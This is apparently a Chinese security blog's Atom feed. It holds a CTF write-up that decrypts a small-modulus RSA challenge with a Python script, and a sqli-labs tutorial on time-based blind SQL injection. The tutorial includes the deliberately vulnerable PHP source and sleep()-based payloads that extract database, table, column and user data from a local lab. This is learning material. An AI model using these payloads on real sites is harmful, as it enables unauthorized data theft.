<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>流年、乱了浮生</title>
  
  <subtitle>“勿忘初心，方得始终”</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="http://yoursite.com/"/>
  <updated>2019-08-06T08:22:40.506Z</updated>
  <id>http://yoursite.com/</id>
  
  <author>
    <name>袁</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>文件上传漏洞&lt;一&gt;</title>
    <link href="http://yoursite.com/2019/08/06/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E-%E4%B8%80/"/>
    <id>http://yoursite.com/2019/08/06/文件上传漏洞-一/</id>
    <published>2019-08-06T08:22:40.000Z</published>
    <updated>2019-08-06T08:22:40.506Z</updated>
    
    <summary type="html">
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>CRYPTO-RSA编码</title>
    <link href="http://yoursite.com/2019/07/31/CRYPTO-RSA%E7%BC%96%E7%A0%81/"/>
    <id>http://yoursite.com/2019/07/31/CRYPTO-RSA编码/</id>
    <published>2019-07-31T14:19:04.000Z</published>
    <updated>2019-08-06T06:28:17.552Z</updated>
    
    <content type="html"><![CDATA[<h2 id="概论"><a href="#概论" class="headerlink" title="概论"></a>概论</h2><h3 id="RSA算法"><a href="#RSA算法" class="headerlink" title="RSA算法"></a>RSA算法</h3><p>RSA算法是现今使用最广泛的公钥密码算法，也是号称地球上最安全的加密算法。根据密钥的使用方法，可以将密码分为对称密码和公钥密码。对称密码：加密和解密使用同一种密钥的方式，公钥密码：加密和解密使用不同的密码的方式，因此公钥密码通常也称为非对称密码。<a id="more"></a></p><h3 id="RSA加密"><a href="#RSA加密" class="headerlink" title="RSA加密"></a>RSA加密</h3><p>加密要用到公匙（n，e），公匙是公开的任何人可见，通式</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">c ≡ m^e (mod n)</span><br></pre></td></tr></table></figure><p>其中m就是明文了，但m必须是整数（字符串可以取ascii值或unicode值），且m必须小于n。</p><h3 id="RSA解密"><a href="#RSA解密" class="headerlink" title="RSA解密"></a>RSA解密</h3><p>得到c，使用私匙（n，d）解密，私匙是私有的，通式</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">m＝c^d mod n</span><br></pre></td></tr></table></figure><h3 id="RSA加密原理"><a href="#RSA加密原理" class="headerlink" title="RSA加密原理"></a>RSA加密原理</h3><table><thead><tr><th style="text-align:center">步骤</th><th style="text-align:center">说明</th><th style="text-align:center">描述</th><th style="text-align:center">备注</th></tr></thead><tbody><tr><td style="text-align:center">1</td><td style="text-align:center">找出质数</td><td style="text-align:center">p 、q</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">2</td><td style="text-align:center">计算公共模数</td><td style="text-align:center">n = p * q</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">3</td><td style="text-align:center">欧拉函数</td><td style="text-align:center">φ(N) = (p-1)(q-1)</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">4</td><td style="text-align:center">计算公钥e</td><td style="text-align:center">1 &lt; e &lt; φ(N)</td><td style="text-align:center">e的取值必须是整数 e和 φ(n) 必须是互质数</td></tr><tr><td style="text-align:center">5</td><td style="text-align:center">计算私钥d</td><td style="text-align:center">e * d % φ(n) = 1</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">6</td><td style="text-align:center">加密</td><td style="text-align:center">c＝m^e mod n</td><td style="text-align:center">c：密文 m：明文</td></tr><tr><td style="text-align:center">7</td><td style="text-align:center">解密</td><td style="text-align:center">m＝c^d mod n</td><td style="text-align:center">c：密文 m：明文</td></tr></tbody></table><p>RSA算法原理详解参考文章：<a href="http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html" target="_blank" rel="noopener">http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html</a></p><h2 id="例题"><a href="#例题" class="headerlink" title="例题"></a>例题</h2><h3 id="实验吧-RSAROLL"><a href="#实验吧-RSAROLL" class="headerlink" title="实验吧 - RSAROLL"></a>实验吧 - RSAROLL</h3><p>题目地址：<a href="http://www.shiyanbar.com/ctf/1918" target="_blank" rel="noopener">http://www.shiyanbar.com/ctf/1918</a></p><p>打开链接</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="number">920139713</span>,<span class="number">19</span>&#125;</span><br><span class="line"> </span><br><span class="line"><span class="number">704796792</span></span><br><span class="line"><span class="number">752211152</span></span><br><span class="line"><span class="number">274704164</span></span><br><span class="line"><span class="number">18414022</span></span><br><span class="line"><span class="number">368270835</span></span><br><span class="line"><span class="number">483295235</span></span><br><span class="line"><span class="number">263072905</span></span><br><span class="line"><span class="number">459788476</span></span><br><span class="line"><span class="number">483295235</span></span><br><span class="line"><span class="number">459788476</span></span><br><span class="line"><span class="number">663551792</span></span><br><span class="line"><span class="number">475206804</span></span><br><span class="line"><span class="number">459788476</span></span><br><span class="line"><span class="number">428313374</span></span><br><span class="line"><span class="number">475206804</span></span><br><span class="line"><span class="number">459788476</span></span><br><span class="line"><span class="number">425392137</span></span><br><span class="line"><span class="number">704796792</span></span><br><span class="line"><span class="number">458265677</span></span><br><span class="line"><span class="number">341524652</span></span><br><span class="line"><span class="number">483295235</span></span><br><span class="line"><span class="number">534149509</span></span><br><span class="line"><span class="number">425392137</span></span><br><span class="line"><span class="number">428313374</span></span><br><span class="line"><span class="number">425392137</span></span><br><span class="line"><span class="number">341524652</span></span><br><span class="line"><span class="number">458265677</span></span><br><span class="line"><span class="number">263072905</span></span><br><span class="line"><span class="number">483295235</span></span><br><span class="line"><span class="number">828509797</span></span><br><span class="line"><span class="number">341524652</span></span><br><span class="line"><span class="number">425392137</span></span><br><span class="line"><span class="number">475206804</span></span><br><span class="line"><span class="number">428313374</span></span><br><span class="line"><span class="number">483295235</span></span><br><span class="line"><span class="number">475206804</span></span><br><span class="line"><span class="number">459788476</span></span><br><span class="line"><span class="number">306220148</span></span><br></pre></td></tr></table></figure><p>分析可知，<code>{920139713,19}</code>是公匙，n=920139713，e=19，下面的就是密文了也就是c={704796792<br>，752211152，……}，根据这些求明文{m1，m2，……}</p><p>解题步骤：</p><p>1.分解n，得到p，q</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">crackN</span><span class="params">(n)</span>:</span></span><br><span class="line">    i=<span class="number">2</span></span><br><span class="line">    <span class="keyword">while</span> i&lt;n:</span><br><span class="line">        <span class="keyword">if</span> n % i==<span class="number">0</span>:</span><br><span class="line">          <span class="keyword">break</span></span><br><span class="line">        i=i+<span class="number">1</span></span><br><span class="line"> </span><br><span class="line">    <span class="keyword">return</span>(i)</span><br></pre></td></tr></table></figure><p>2.根据p,q获得欧拉数</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">o_n=int(p<span class="number">-1</span>)*int((n/p)<span class="number">-1</span>)</span><br></pre></td></tr></table></figure><p>3.根据扩展欧几里得算法获得d</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exgcd</span><span class="params">(m,n,x,y)</span>:</span></span><br><span class="line">        <span class="keyword">if</span> n == <span class="number">0</span>:</span><br><span class="line">                x = <span class="number">1</span></span><br><span class="line">                y = <span class="number">0</span></span><br><span class="line">                <span class="keyword">return</span> (m,x,y)</span><br><span class="line">        a1 = b = <span class="number">1</span></span><br><span class="line">        a = b1 = <span class="number">0</span></span><br><span class="line">        c = m</span><br><span class="line">        d = n</span><br><span class="line">        q = int(c/d)</span><br><span class="line">        r = c%d</span><br><span class="line">        <span class="keyword">while</span> r:</span><br><span class="line">                c = d</span><br><span class="line">                d = r</span><br><span class="line">                t = a1</span><br><span class="line">                a1 = a</span><br><span class="line">                a = t-q*a</span><br><span class="line">                t = b1</span><br><span class="line">                b1 = b</span><br><span class="line">                b = t-q*b</span><br><span class="line">                q = int(c/d)</span><br><span class="line">                r = c%d</span><br><span class="line">        x = a</span><br><span class="line">        y = b</span><br><span class="line">        <span class="keyword">return</span> (d,x,y)</span><br></pre></td></tr></table></figure><p>返回值为数组</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">d=exgcd(o_n,e,<span class="number">0</span>,<span class="number">0</span>)[<span class="number">2</span>]</span><br></pre></td></tr></table></figure><p>4.根据d解密密文c获得m</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chr(pow(c,d,n))</span><br></pre></td></tr></table></figure><p>5.遍历密文数组c获得m序列</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">s=<span class="string">""</span></span><br><span class="line"><span class="keyword">while</span> k&lt;len(c):</span><br><span class="line">              s=s+(chr(pow(c[k],d,n)))</span><br><span class="line">              k=k+<span class="number">1</span></span><br></pre></td></tr></table></figure><p>最终脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">e=<span class="number">19</span></span><br><span class="line">n=<span class="number">920139713</span></span><br><span class="line">c=[</span><br><span class="line"><span class="number">704796792</span>,</span><br><span class="line"><span class="number">752211152</span>,</span><br><span class="line"><span class="number">274704164</span>,</span><br><span class="line"><span class="number">18414022</span>,</span><br><span class="line"><span class="number">368270835</span>,</span><br><span class="line"><span class="number">483295235</span>,</span><br><span class="line"><span class="number">263072905</span>,</span><br><span class="line"><span class="number">459788476</span>,</span><br><span class="line"><span class="number">483295235</span>,</span><br><span class="line"><span class="number">459788476</span>,</span><br><span class="line"><span class="number">663551792</span>,</span><br><span class="line"><span class="number">475206804</span>,</span><br><span class="line"><span class="number">459788476</span>,</span><br><span class="line"><span class="number">428313374</span>,</span><br><span class="line"><span class="number">475206804</span>,</span><br><span class="line"><span class="number">459788476</span>,</span><br><span class="line"><span class="number">425392137</span>,</span><br><span class="line"><span class="number">704796792</span>,</span><br><span class="line"><span class="number">458265677</span>,</span><br><span class="line"><span class="number">341524652</span>,</span><br><span class="line"><span class="number">483295235</span>,</span><br><span class="line"><span class="number">534149509</span>,</span><br><span class="line"><span class="number">425392137</span>,</span><br><span class="line"><span class="number">428313374</span>,</span><br><span class="line"><span class="number">425392137</span>,</span><br><span class="line"><span class="number">341524652</span>,</span><br><span class="line"><span class="number">458265677</span>,</span><br><span class="line"><span class="number">263072905</span>,</span><br><span class="line"><span class="number">483295235</span>,</span><br><span class="line"><span class="number">828509797</span>,</span><br><span class="line"><span class="number">341524652</span>,</span><br><span class="line"><span class="number">425392137</span>,</span><br><span class="line"><span class="number">475206804</span>,</span><br><span class="line"><span class="number">428313374</span>,</span><br><span class="line"><span class="number">483295235</span>,</span><br><span class="line"><span class="number">475206804</span>,</span><br><span class="line"><span class="number">459788476</span>,</span><br><span class="line"><span class="number">306220148</span>,</span><br><span class="line">]</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exgcd</span><span class="params">(m,n,x,y)</span>:</span></span><br><span class="line">        <span class="keyword">if</span> n == <span class="number">0</span>:</span><br><span class="line">                x = <span class="number">1</span></span><br><span class="line">                y = <span class="number">0</span></span><br><span class="line">                <span class="keyword">return</span> (m,x,y)</span><br><span class="line">        a1 = b = <span class="number">1</span></span><br><span class="line">        a = b1 = <span class="number">0</span></span><br><span class="line">        c = m</span><br><span class="line">        d = n</span><br><span class="line">        q = int(c/d)</span><br><span class="line">        r = c%d</span><br><span class="line">        <span class="keyword">while</span> r:</span><br><span class="line">                c = d</span><br><span class="line">                d = r</span><br><span class="line">                t = a1</span><br><span class="line">                a1 = a</span><br><span class="line">                a = t-q*a</span><br><span class="line">                t = b1</span><br><span class="line">                b1 = b</span><br><span class="line">                b = t-q*b</span><br><span class="line">                q = int(c/d)</span><br><span class="line">                r = c%d</span><br><span class="line">        x = a</span><br><span class="line">        y = b</span><br><span class="line">        <span class="keyword">return</span> (d,x,y)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">crackN</span><span class="params">(n)</span>:</span></span><br><span class="line">    i=<span class="number">2</span></span><br><span class="line">    <span class="keyword">while</span> i&lt;n:</span><br><span class="line">        <span class="keyword">if</span> n % i==<span class="number">0</span>:</span><br><span class="line">          <span class="keyword">break</span></span><br><span class="line">        i=i+<span class="number">1</span></span><br><span class="line"> </span><br><span class="line">    <span class="keyword">return</span>(i)</span><br><span class="line">p=crackN(n)</span><br><span class="line">k=<span class="number">0</span></span><br><span class="line">o_n=int(p<span class="number">-1</span>)*int((n/p)<span class="number">-1</span>)</span><br><span class="line">d=exgcd(o_n,e,<span class="number">0</span>,<span class="number">0</span>)[<span class="number">2</span>]</span><br><span class="line">s=<span class="string">""</span></span><br><span class="line"><span class="keyword">while</span> k&lt;len(c):</span><br><span class="line">              s=s+(chr(pow(c[k],d,n)))</span><br><span class="line">              k=k+<span class="number">1</span></span><br><span class="line">print(s)</span><br></pre></td></tr></table></figure><p>运行</p><p><img src="/2019/07/31/CRYPTO-RSA编码/QQ截图20190801174818.png" alt="1"></p><p>得到flag：flag{13212je2ue28fy71w8u87y31r78eu1e2}</p><p>参考文章：<a href="https://blog.csdn.net/janelml/article/details/89877099" target="_blank" rel="noopener">https://blog.csdn.net/janelml/article/details/89877099</a></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>CTF中关于RSA的题还是挺多的，而且是有点难的，基本上都要写脚本才能做出来，也需要一些辅助的工具什么的，比如yafu、rsatool等。有一个很重要也是必须的一个库就是gmpy2，gmpy2是Python的一个扩展库，是对GMP的封装，它的前身是gmpy，经过其作者的调整和封装，使得gmpy2的使用大大简化，可以先安装下。本来还要写Jarvis&nbsp;OJ上的几道RSA的题，脚本要在网上找但是都要用到这个gmpy2但是这个gmpy2我弄个快一天了还是没弄好自己又不会写脚本，所以就没写，等之后把gmpy2装好了再补吧。</p><p>Jarvis&nbsp;OJ：平台地址：<a href="http://www.jarvisoj.com" target="_blank" rel="noopener">www.jarvisoj.com</a></p><p>yafu：下载地址：<a href="https://sourceforge.net/projects/yafu/安装使用：https://www.cnblogs.com/pcat/p/7508205.html" target="_blank" rel="noopener">https://sourceforge.net/projects/yafu/安装使用：https://www.cnblogs.com/pcat/p/7508205.html</a></p><p>gmpy2：安装使用：<a href="https://blog.csdn.net/x_yhy/article/details/83903367" target="_blank" rel="noopener">https://blog.csdn.net/x_yhy/article/details/83903367</a>、<a href="https://www.cnblogs.com/pcat/p/5746821.html" target="_blank" rel="noopener">https://www.cnblogs.com/pcat/p/5746821.html</a></p><p>其他常用工具：<a href="https://www.lizenghai.com/archives/24289.html" target="_blank" rel="noopener">https://www.lizenghai.com/archives/24289.html</a></p><p>CTF中RSA常见攻击方法：<a href="https://www.anquanke.com/post/id/84632" target="_blank" rel="noopener">https://www.anquanke.com/post/id/84632</a></p>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;概论&quot;&gt;&lt;a href=&quot;#概论&quot; class=&quot;headerlink&quot; title=&quot;概论&quot;&gt;&lt;/a&gt;概论&lt;/h2&gt;&lt;h3 id=&quot;RSA算法&quot;&gt;&lt;a href=&quot;#RSA算法&quot; class=&quot;headerlink&quot; title=&quot;RSA算法&quot;&gt;&lt;/a&gt;RSA算法&lt;/h3&gt;&lt;p&gt;RSA算法是现今使用最广泛的公钥密码算法，也是号称地球上最安全的加密算法。根据密钥的使用方法，可以将密码分为对称密码和公钥密码。对称密码：加密和解密使用同一种密钥的方式，公钥密码：加密和解密使用不同的密码的方式，因此公钥密码通常也称为非对称密码。&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>SQL注入&lt;四&gt;-时间盲注</title>
    <link href="http://yoursite.com/2019/07/28/SQL%E6%B3%A8%E5%85%A5-%E5%9B%9B-%E6%97%B6%E9%97%B4%E7%9B%B2%E6%B3%A8/"/>
    <id>http://yoursite.com/2019/07/28/SQL注入-四-时间盲注/</id>
    <published>2019-07-28T08:50:01.000Z</published>
    <updated>2019-10-16T11:22:57.848Z</updated>
    
    <content type="html"><![CDATA[<h2 id="概论"><a href="#概论" class="headerlink" title="概论"></a>概论</h2><p><strong>时间盲注</strong>：时间盲注与布尔盲注的注入原理大致相同，区别就是时间盲注没有回显或者正确和错误页面回显一样。所以时间型盲注需要页面沉睡时间判断，通过 sleep（）函数测试，通过if（）和sleep（）联合逐个猜解数据，例：</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))&gt;100,1,sleep(5))  --+</span><br></pre></td></tr></table></figure><p>如果当前查询的当前数据库<code>ascii(substr(database()),1,1)</code>的第一个字符的ASCII码大于100，ture执行<code>select 1</code>页面正常返回，false执行<code>select sleep(5)</code>页面沉睡5秒后返回。1和sleep（5）也可以换下位置。<a id="more"></a></p><p><strong>常用函数</strong>：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">sleep（n）：使数据库在暂停n秒之后再将搜索结果输出</span><br><span class="line">if（（条件），m，n）：若条件为真 返回m，若条件为假 返回n</span><br><span class="line">length（database()）：返回当前数据库名长度</span><br><span class="line">mid（database（），m，n）：返回数据库名的第m位之后的n位</span><br></pre></td></tr></table></figure><h2 id="sqli-labs-nbsp-less9"><a href="#sqli-labs-nbsp-less9" class="headerlink" title="sqli-labs&nbsp;less9"></a>sqli-labs&nbsp;less9</h2><p>以sqli平台第九题为例写一下时间盲注</p><p>less9是基于Time-GET-单引号-字符型-盲注</p><p>进行注入测试，与上一关一样</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/sqli-labs-master/Less-9/?id=1</span><br><span class="line">http://127.0.0.1/sqli-labs-master/Less-9/?id=1'</span><br><span class="line">http://127.0.0.1/sqli-labs-master/Less-9/?id=1"</span><br><span class="line">http://127.0.0.1/sqli-labs-master/Less-9/?id=1' --+</span><br></pre></td></tr></table></figure><p>但是发现不管上面那一个，页面返回是一样的回显为<code>you are in………..</code></p><p><img src="/2019/07/28/SQL注入-四-时间盲注/QQ截图20190813181247.png" alt="1"></p><p>这样就不能根据页面的回显来判断匹配结果，要使用延时函数<code>sleep()</code>对两种输入进行区分。附源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">include</span>(<span class="string">"../sql-connections/sql-connect.php"</span>);</span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'id'</span>]))</span><br><span class="line">&#123;</span><br><span class="line">$id=$_GET[<span class="string">'id'</span>];</span><br><span class="line">$fp=fopen(<span class="string">'result.txt'</span>,<span class="string">'a'</span>);</span><br><span class="line">fwrite($fp,<span class="string">'ID:'</span>.$id.<span class="string">"\n"</span>);</span><br><span class="line">fclose($fp);</span><br><span class="line"></span><br><span class="line">$sql=<span class="string">"SELECT * FROM users WHERE id='$id' LIMIT 0,1"</span>;</span><br><span class="line">$result=mysql_query($sql);</span><br><span class="line">$row = mysql_fetch_array($result);</span><br><span class="line"><span class="keyword">if</span>($row)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">'&lt;font size="5" color="#FFFF00"&gt;'</span>;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">'You are in...........'</span>;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">"&lt;br&gt;"</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"&lt;/font&gt;"</span>;</span><br><span class="line">  &#125;</span><br><span class="line"><span class="keyword">else</span> </span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;font size="5" color="#FFFF00"&gt;'</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'You are in...........'</span>;</span><br><span class="line"><span class="comment">//print_r(mysql_error());</span></span><br><span class="line"><span class="comment">//echo "You have an error in your SQL syntax";</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;/br&gt;&lt;/font&gt;"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;font color= "#0000ff" font size= 3&gt;'</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> &#123; <span class="keyword">echo</span> <span class="string">"Please input the ID as parameter with numeric value"</span>;&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>注入过程与<a href="https://ymh2019.github.io/2019/07/27/SQL%E6%B3%A8%E5%85%A5-%E4%B8%89-bool%E7%9B%B2%E6%B3%A8/" target="_blank" rel="noopener">less8</a>是一样的，payload也差不多，比上一关多了一个if函数</p><p><strong>判断数据库长度</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?id=1' and if(length(database())&gt;1,1,sleep(4)) --+</span><br><span class="line">?id=1' and if(length(database())&gt;2,1,sleep(4)) --+</span><br><span class="line">以此类推...</span><br></pre></td></tr></table></figure><p>执行成功进行1，失败进行<code>sleep(4)</code>沉睡4秒，如图</p><p><img src="/2019/07/28/SQL注入-四-时间盲注/QQ截图20190814225730.png" alt="2"></p><p><img src="/2019/07/28/SQL注入-四-时间盲注/QQ截图20190814225757.png" alt="3"></p><p>所以数据库长度是8</p><p>下面都是一样的，根据页面返回时间不一样判断是否注入成功</p><p><strong>爆数据库名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1' and if(ascii(substr(database(),1,1))=100,1,sleep(5)) <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p>通过修改substr的步长来进一步猜测数据库名的其他字符</p><p><strong>爆表名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1' and if(ascii(substr((<span class="keyword">select</span> table_name <span class="keyword">from</span> information_schema.tables <span class="keyword">where</span> table_schema=<span class="string">'security'</span> <span class="keyword">limit</span> <span class="number">0</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>))=<span class="number">105</span>,<span class="number">1</span>,<span class="keyword">sleep</span>(<span class="number">5</span>)) <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p><strong>爆列名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1' and if(ascii(substr((<span class="keyword">select</span> column_name <span class="keyword">from</span> information_schema.columns <span class="keyword">where</span> table_schema=<span class="string">'security'</span> <span class="keyword">and</span> table_name=<span class="string">'users'</span> <span class="keyword">limit</span> <span class="number">0</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>))=<span class="number">105</span>,<span class="number">1</span>,<span class="keyword">sleep</span>(<span class="number">5</span>)) <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p><strong>爆数据</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1' and if(ascii(substr((<span class="keyword">select</span> <span class="keyword">id</span> <span class="keyword">from</span> <span class="keyword">users</span> <span class="keyword">limit</span> <span class="number">0</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>))=<span class="number">105</span>,<span class="number">1</span>,<span class="keyword">sleep</span>(<span class="number">5</span>)) <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p>可以看出时间盲注的中心思想和布尔盲注相同，也通过截取函数查询逐个匹配想要的信息。</p><p>手工注入会很慢还是要写脚本跑，我还没找到很好的脚本。可以在网上找下。</p><p>也顺便提下less10，和Less9差别只在于单双引号，less10是双引号闭合改下payload，修改查询语句闭合后用脚本注入即可。</p>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;概论&quot;&gt;&lt;a href=&quot;#概论&quot; class=&quot;headerlink&quot; title=&quot;概论&quot;&gt;&lt;/a&gt;概论&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;时间盲注&lt;/strong&gt;：时间盲注与布尔盲注的注入原理大致相同，区别就是时间盲注没有回显或者正确和错误页面回显一样。所以时间型盲注需要页面沉睡时间判断，通过 sleep（）函数测试，通过if（）和sleep（）联合逐个猜解数据，例：&lt;/p&gt;
